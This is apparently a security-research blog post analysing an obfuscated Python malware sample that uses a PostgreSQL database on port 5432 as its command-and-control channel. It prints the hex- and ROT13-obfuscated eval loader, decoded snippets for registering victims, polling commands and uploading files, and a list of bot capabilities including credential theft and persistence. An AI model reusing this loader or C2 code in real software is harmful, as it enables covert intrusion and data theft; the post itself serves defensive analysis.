Python Malware Using Postgresql for C2 Communications

Published: 2023-08-25
Last Updated: 2023-08-25 08:54:25 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For modern malware, having access to its C2 (Command and control) is a crucial point. There are many ways to connect to a C2 server using tons of protocols, but today, HTTP remains very common because HTTP is allowed on most networks...

I found a malicious Python script that is pretty well obfuscated. The applied technique reduces its VT  score to 6/60! It's based on a mix of Based64- and Hex-encoded data.

joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eva
l('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))

Note that '\x72\x6f\x74\x31\x33' is "ROT13!

If the payload is obfuscated, the following lines attracted my attention at the very beginning of the first-stage script:

host = "akfksfjriwjerijweijriewjesjresjfsdfmsdkfjksdjfksdjfsdf"
user = "https://discord.gg/ZHnJfPS6"
database = "https://discord.gg/ZHnJfPS6"
password = "https://discord.gg/ZHnJfPS6"
port = 5432

The port 5432 is used to connect to Postgresql database servers! Unfortunately, it was not possible to get the database server connection details. Probably, the script was submitted to VT as a test. The presence of this line also reveals that SQL queries will be performed:

import psycopg2

The decoded payload contains a lot of SQL queries and reveals C2 communications.

The computer registration:

self.createCur()
self.devid = str(randint(0, 999999))
self.cur.execute("INSERT INTO zday (devid, ip, hostname) VALUES ('" + self.devid + "', '" + ip + "', '" + host + "')")
self.conn.commit()
self.cur.close()

Reception of commands to execute:

self.createCur()
self.cur.execute("SELECT command FROM zday WHERE devid = '" + self.devid + "'")
res = self.cur.fetchone()
command = res[0]
if devmode: print("command: " + str(command))
    if command is not None:
        self.cur.close()
        self.parseCommand(command)
    else:
        self.cur.close()

Upload a file:

self.createCur()
self.cur.execute(f"UPDATE zday SET file = {psycopg2.Binary(self.get_bytes_from_file(path))} WHERE devid = '" + self.devid + "'")
self.conn.commit()
self.cur.close()

Thanks to the parseCommand() function analysis, we can build a list of the bot capabilities:

  • getPublicIp
  • getWifiPasses
  • dir
  • addToWinStartup
  • SVCSploit
  • getCDIR
  • addLocalToAdmin
  • screenshot.get
  • getVersion
  • sysInfo
  • disconnect
  • killKeylogger
  • fireFig
  • userPriv
  • storedCred
  • netCon
  • dnsList
  • 'netConf
  • arpCache
  • localAdmin
  • samBak
  • schedTasks
  • 'regup
  • webcamPic
  • hideMe
  • runas
  • timedcommand
  • moveScript
  • selfUpdate
  • msgBox
  • changeWallpaper
  • getfile
  • gotfile
  • gotfilekey

I searched for similar scripts with valid credentials, but nothing was found yet. If you spotted the same kind of script, please share!

This is another good proof that egress filtering must be in place to prevent hosts from communicating through exotic ports! (5432 in this case). Stay safe!

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Friday, August 25th, 2023 https://isc.sans.edu/podcastdetail/8632

Comments


Diary Archives